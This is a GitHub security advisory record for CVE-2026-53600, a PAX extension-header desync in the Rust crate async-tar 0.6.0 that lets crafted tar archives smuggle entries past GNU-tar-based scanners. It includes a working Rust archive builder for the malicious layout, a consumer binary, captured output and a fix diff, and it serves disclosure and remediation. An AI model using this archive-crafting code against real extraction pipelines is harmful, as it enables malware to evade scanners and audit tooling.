{"id":"GHSA-35rm-7j9c-2f7m","summary":"async-tar PAX extension-header desync enables tar entry/content smuggling","details":"## Summary\n\n`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary\nextension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g`\nheader) instead of to the next *file* entry. POSIX requires a PAX extended-header\nrecord set to describe the next file entry, never an intervening extension\nheader. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX\nrecords into the size computation of whatever raw header it reads next — and that\nheader can be an intermediary `L` — the stream cursor is advanced by an\nattacker-chosen amount when the `L` body is consumed. The parser then desyncs\nrelative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes\nat the wrong block boundary.\n\nAn attacker who can influence a tar stream that an `async-tar` consumer extracts\ncan construct an `x → L → file` sequence whose entry list and on-disk result\ndiffer between `async-tar` and a reference parser. This enables content/entry\nsmuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque\ndata is extracted by `async-tar` as a different file with different bytes (e.g. an\nexecutable script), and vice versa.\n\nType confusion / improper validation of the specified quantity (size). CWE-20,\nCWE-843. Severity assessed Medium, consistent with the same defect class in the\nupstream tar-rs / tokio-tar lineage.\n\n## Affected code\n\nPackage: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and\ncurrent `main` HEAD. Both lack the extension-header guard.\n\n`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,\ncommit `45814b19295b7398e119c90c57d8c8bf70a798b6`):\n\n```rust\n    let file_pos = *next;\n\n    let mut header = current_header.take().unwrap();\n\n    // when pax extensions are available, the size should come from there.\n    let mut size = header.entry_size()?;\n\n    // the size above will be overriden by the pax data if it has a size field.\n    // same for uid and gid, which will be overridden in the header itself.\n    if let Some(pax_extensions_data) = pax_extensions_data {   // \u003c-- no is_extension_header guard\n        let pax = pax_extensions(pax_extensions_data);\n        for extension in pax {\n            let extension = extension.map_err(|_e| other(\"pax extensions invalid\"))?;\n            let Some(key) = extension.key().ok() else { continue };\n            match key {\n                \"size\" =\u003e {\n                    let size_str = extension.value()\n                        .map_err(|_e| other(\"failed to parse pax size as string\"))?;\n                    size = size_str.parse::\u003cu64\u003e()\n                        .map_err(|_e| other(\"failed to parse pax size\"))?;\n                }\n                \"uid\" =\u003e { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }\n                \"gid\" =\u003e { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }\n                _ =\u003e { continue }\n            }\n        }\n    }\n\n    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size\n```\n\nand a few lines further down the same function:\n\n```rust\n    // Store where the next entry is, rounding up by 512 bytes.\n    let size = (size + 511) & !(512 - 1);\n    *next += size;                                          // cursor advance = mis-applied PAX size\n```\n\nThe caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local\nextension into `current_pax_extensions` and then calls `poll_next_raw` with\n`current_pax_extensions.as_deref()` for the *next* raw header. When that next\nraw header is an intermediary GNU longname (handled by the `is_gnu_longname()`\nbranch a few lines later), the PAX `size` is applied to it, so `*next` advances by\nthe spoofed size rather than the `L` header's own declared size. That is the\ndesync.\n\nThe buffered PAX records are intended to apply only to the following *file*\nentry; the missing check is whether the raw header currently being sized is itself\nan extension header (`L`/`K`/`x`/`g`).\n\n## Impact\n\nDifferential extraction / entry smuggling. A consumer that extracts an\nattacker-influenced tar stream with `async-tar` (e.g. a server endpoint that\nunpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks\na remote tarball, an archive-preview/scan pipeline) will:\n\n- materialize files / file contents that a POSIX-correct parser (GNU tar,\n  libarchive/bsdtar) does not surface, and\n- omit or alter files that the reference parser does surface.\n\nThis breaks any security control that relies on scanning the archive with one\nparser and extracting with `async-tar`: a malware/secret scanner reading the\nstream with GNU tar can be made to see only benign data while `async-tar` writes\nan executable payload to disk. It can also be used to hide entries from\naudit/inventory tooling, or to write content to a path the reviewer believes\nholds something else. No attacker-controlled local state is required — only the\nability to influence the bytes of the tar stream that the consumer extracts.\n\n## How input reaches the sink (reachability)\n\nThe vulnerable path is the library's primary public API for reading archives:\n`Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next`\ndrives `poll_next_raw` for every header. Any consumer that iterates entries (or\ncalls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches\nthe sink with no additional configuration. The `reader` need not be a file — it is\nany `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor\noutput all qualify. The only precondition for the desync is that the stream\ncontain a PAX local-extension header (`x`) carrying a `size` record immediately\nfollowed by an intermediary GNU longname (`L`) before the next file header — a\nstructure the attacker fully controls in the archive bytes. Representative\nreachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz`\nbodies, dependency/artifact fetchers that unpack remote tarballs, and\narchive-scan/preview pipelines.\n\n## Proof of concept\n\nA standalone Rust consumer binary that links the published crates.io\n`async-tar = \"=0.6.0\"` (`default-features = false, features = [\"runtime-tokio\"]`)\nand runs the real `Archive::new(...).entries()` extraction loop (the same shape\nused by real downstream server consumers that unpack uploaded tarballs). It reads\na tar file and writes each entry to a destination directory, printing the entry\nlist `async-tar` surfaces. A second binary hand-crafts the malicious and benign\ntar byte streams.\n\nMalicious archive geometry (block = 512 bytes):\n\n```\nB0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)\nB1     PAX records  (\"\u003clen\u003e size=1024\\n\")\nB2  L  GNU longname header, OWN declared size = 512 (= 1 block)\nB3     longname block #1  = \"GNU_SEES_THIS.txt\\0...\"   (the name GNU tar uses)\nB4     a normal file header \"placeholder_A\" (size 512)\nB5     \u003c-- this block IS a valid tar header for the smuggled file\n           \"hidden_payload.sh\" (size 65)\nB6     smuggled payload  \"#!/bin/sh\\n# SMUGGLED ENTRY...\\n\"\nB7,B8  two zero blocks (EOF)\n```\n\nGNU tar honours the `L` header's own declared size (1 block) for the longname and\nignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the\nfile, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX\n`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor\non B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh`\nbody (B6).\n\nTar-builder source (`mktar.rs`):\n\n```rust\nuse std::io::Write;\nconst BLOCK: usize = 512;\n\nfn octal(buf: &mut [u8], v: u64) {\n    let s = format!(\"{:0width$o}\", v, width = buf.len() - 1);\n    let b = s.as_bytes();\n    buf[..b.len()].copy_from_slice(b);\n    buf[b.len()] = 0;\n}\n\nfn header(name: &[u8], size: u64, typeflag: u8) -\u003e [u8; BLOCK] {\n    let mut h = [0u8; BLOCK];\n    let n = name.len().min(100);\n    h[..n].copy_from_slice(&name[..n]);\n    octal(&mut h[100..108], 0o644);\n    octal(&mut h[108..116], 0);\n    octal(&mut h[116..124], 0);\n    octal(&mut h[124..136], size);\n    octal(&mut h[136..148], 0);\n    h[156] = typeflag;\n    if typeflag == b'L' { h[257..265].copy_from_slice(b\"ustar  \\0\"); }\n    else { h[257..263].copy_from_slice(b\"ustar\\0\"); h[263..265].copy_from_slice(b\"00\"); }\n    for b in &mut h[148..156] { *b = b' '; }\n    let sum: u32 = h.iter().map(|b| *b as u32).sum();\n    h[148..156].copy_from_slice(format!(\"{:06o}\\0 \", sum).as_bytes());\n    h\n}\n\nfn pad(out: &mut Vec\u003cu8\u003e, len: usize) {\n    let rem = len % BLOCK;\n    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }\n}\nfn pax_record(key: &str, val: &str) -\u003e Vec\u003cu8\u003e {\n    let mut len = key.len() + val.len() + 3;\n    loop {\n        let s = format!(\"{} {}={}\\n\", len, key, val);\n        if s.len() == len { return s.into_bytes(); }\n        len = s.len();\n    }\n}\nfn name_block(name: &[u8]) -\u003e Vec\u003cu8\u003e { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }\nfn write_block(out: &mut Vec\u003cu8\u003e, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }\n\nfn build_malicious() -\u003e Vec\u003cu8\u003e {\n    let mut out = Vec::new();\n    let gnu_name = b\"GNU_SEES_THIS.txt\";\n    let spoof = (BLOCK * 2) as u64;\n    let mut recs = Vec::new();\n    recs.extend(pax_record(\"size\", &spoof.to_string()));\n    out.extend_from_slice(&header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n    write_block(&mut out, &recs);\n    out.extend_from_slice(&header(b\"././@LongLink\", BLOCK as u64, b'L'));\n    out.extend_from_slice(&name_block(gnu_name));                 // B3\n    out.extend_from_slice(&header(b\"placeholder_A\", BLOCK as u64, b'0')); // B4\n    let smuggled_body = b\"#!/bin/sh\\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\\n\".to_vec();\n    out.extend_from_slice(&header(b\"hidden_payload.sh\", smuggled_body.len() as u64, b'0')); // B5\n    write_block(&mut out, &smuggled_body);                        // B6\n    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n    out\n}\n\nfn build_benign() -\u003e Vec\u003cu8\u003e {\n    let mut out = Vec::new();\n    let mut recs = Vec::new();\n    recs.extend(pax_record(\"path\", \"normal_file.txt\"));\n    out.extend_from_slice(&header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n    write_block(&mut out, &recs);\n    let body = b\"plain benign content\\n\".to_vec();\n    out.extend_from_slice(&header(b\"normal_file.txt\", body.len() as u64, b'0'));\n    write_block(&mut out, &body);\n    let body2 = b\"second benign file\\n\".to_vec();\n    out.extend_from_slice(&header(b\"second.txt\", body2.len() as u64, b'0'));\n    write_block(&mut out, &body2);\n    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n    out\n}\n\nfn main() {\n    let a: Vec\u003cString\u003e = std::env::args().collect();\n    let bytes = match a[1].as_str() { \"malicious\" =\u003e build_malicious(), \"benign\" =\u003e build_benign(), _ =\u003e std::process::exit(2) };\n    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();\n}\n```\n\nConsumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop):\n\n```rust\nuse async_tar::Archive;\nuse tokio::fs;\nuse tokio::io::AsyncReadExt;\nuse tokio_stream::StreamExt;\n\n#[tokio::main(flavor = \"multi_thread\", worker_threads = 2)]\nasync fn main() {\n    let args: Vec\u003cString\u003e = std::env::args().collect();\n    let dest = std::path::PathBuf::from(&args[2]);\n    fs::create_dir_all(&dest).await.unwrap();\n    let bytes = fs::read(&args[1]).await.unwrap();\n    let archive = Archive::new(std::io::Cursor::new(bytes));\n    let mut entries = archive.entries().expect(\"entries()\");\n    let mut idx = 0usize;\n    while let Some(entry) = entries.next().await {\n        let mut file = match entry { Ok(f) =\u003e f, Err(e) =\u003e { println!(\"[async-tar] ERROR: {e}\"); break } };\n        let path_raw = file.path().expect(\"path\").into_owned();\n        let path_disp = path_raw.to_string_lossy().split('\\u{0}').next().unwrap_or(\"\").to_string();\n        let hdr_size = file.header().size().unwrap_or(0);\n        let mut out = dest.clone();\n        for comp in std::path::PathBuf::from(&path_disp).components() {\n            if let std::path::Component::Normal(p) = comp { out.push(p); }\n        }\n        let mut body = Vec::new();\n        let read = file.read_to_end(&mut body).await.unwrap_or(0);\n        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }\n        let _ = fs::write(&out, &body).await;\n        let preview: String = body.iter().take(48)\n            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();\n        println!(\"[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\\\"{preview}\\\"\", path_disp);\n        idx += 1;\n    }\n    println!(\"[async-tar] total entries surfaced: {idx}\");\n}\n```\n\n`Cargo.toml`:\n\n```toml\n[dependencies]\nasync-tar = { version = \"=0.6.0\", default-features = false, features = [\"runtime-tokio\"] }\ntokio = { version = \"1\", features = [\"rt-multi-thread\", \"macros\", \"io-util\", \"fs\"] }\ntokio-stream = \"0.1\"\nfutures = \"0.3\"\n```\n\n## End-to-end reproduction\n\nReference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by\nthe consumer binary above. Verbatim captured output:\n\n```\n$ cargo build --release        # links async-tar v0.6.0 from crates.io\n   Compiling async-tar v0.6.0\n   Compiling async-tar-consumer v0.1.0\n    Finished `release` profile [optimized] target(s) in 10.12s\n\n$ ./target/release/mktar malicious mal.tar\nwrote 4608 bytes to mal.tar\n\n# ---- (A) GNU tar reference: list + extract ----\n$ gtar tvf mal.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt\nrc=0\n$ gtar xf mal.tar -C /tmp/gnu_x ; echo \"rc=$?\"\nrc=0\n$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt\nhidden_payload.sh\n# (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header\n#  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)\n\n# ---- (B) async-tar v0.6.0 consumer: extract ----\n$ ./target/release/extract mal.tar /tmp/at_mal\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=65 bytes_read=1024 body=\"#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt\n#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n```\n\nSame bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte\nbenign blob; `async-tar` writes a 65-byte executable shell script that the\nreference parser never exposes as an entry. The smuggled `#!/bin/sh` body is\ncontent a GNU-tar-based scanner would never inspect.\n\nNegative control — a benign archive (correct PAX usage: `x` applies `path` to the\nfollowing file, no intermediary `L`):\n\n```\n$ ./target/release/mktar benign ben.tar\n$ gtar tvf ben.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt\n-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt\nrc=0\n$ ./target/release/extract ben.tar /tmp/at_ben\n[async-tar] entry#0 path=\"normal_file.txt\" hdr_size=21 bytes_read=21 body=\"plain benign content.\"\n[async-tar] entry#1 path=\"second.txt\" hdr_size=19 bytes_read=19 body=\"second benign file.\"\n[async-tar] total entries surfaced: 2\n```\n\nGNU tar and `async-tar` produce identical entry lists and identical on-disk files.\nNo smuggling. The differential is exclusive to the `x → L → file` desync sequence.\n\n## Fix\n\nApply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when\nthe raw header being sized is NOT itself an extension header. Skip the override\nfor GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers,\nwhose body length must come from their own declared size. This mirrors the fix\nadopted in the upstream tar-rs / tokio-tar lineage for the same defect class.\n\n```rust\n    // when pax extensions are available, the size should come from there.\n    let mut size = header.entry_size()?;\n\n    // PAX extensions describe the NEXT file entry, not an intermediary\n    // extension header. Applying a buffered PAX `size` to such an intermediary\n    // header (L/K/x/g) advances the stream cursor by the wrong amount and\n    // desyncs the parse.\n    let entry_type = header.entry_type();\n    let is_extension_header = entry_type.is_gnu_longname()\n        || entry_type.is_gnu_longlink()\n        || entry_type.is_pax_local_extensions()\n        || entry_type.is_pax_global_extensions();\n\n    // the size above will be overriden by the pax data if it has a size field.\n    // same for uid and gid, which will be overridden in the header itself.\n    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {\n        let pax = pax_extensions(pax_extensions_data);\n        for extension in pax {\n            // unchanged: same size/uid/gid override loop as before\n        }\n    }\n```\n\nFix-verify, captured verbatim. The patched `async-tar` (guard added) re-run\nagainst the same `mal.tar`:\n\n```\n$ cargo build --release        # [patch.crates-io] async-tar = { path = \"../async-tar-patched\" }\n   Compiling async-tar v0.6.0 (.../async-tar-patched)\n   Compiling async-tar-consumer v0.1.0\n    Finished `release` profile [optimized] target(s)\n$ ./target/release/extract mal.tar /tmp/at_fix\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=512 bytes_read=1024 body=\"hidden_payload.sh...............................\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt\nhidden_payload.sh\n```\n\nWith the guard, `async-tar`'s view converges with GNU tar's: it surfaces\n`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and\nno longer extracts the smuggled executable script. The benign control still\nproduces the correct two-file output. The desync is eliminated.\n\n## Fix PR\n\nA fix PR adding the `is_extension_header` guard to `poll_next_raw` in\n`src/archive.rs` is opened from the advisory's temporary private fork against this\nrepository. It carries the diff shown in the **Fix** section above (no behavioural\nchange for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop\ninheriting a following PAX `size`).\n\n## Credit\n\nReported by tonghuaroot.","aliases":["CVE-2026-53600"],"modified":"2026-09-10T03:50:51.346352208Z","published":"2026-07-08T20:24:12Z","database_specific":{"cwe_ids":["CWE-20","CWE-843"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-07-08T20:24:12Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m"},{"type":"PACKAGE","url":"https://github.com/dignifiedquire/async-tar"}],"affected":[{"package":{"name":"async-tar","ecosystem":"crates.io","purl":"pkg:cargo/async-tar"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-35rm-7j9c-2f7m/GHSA-35rm-7j9c-2f7m.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}]}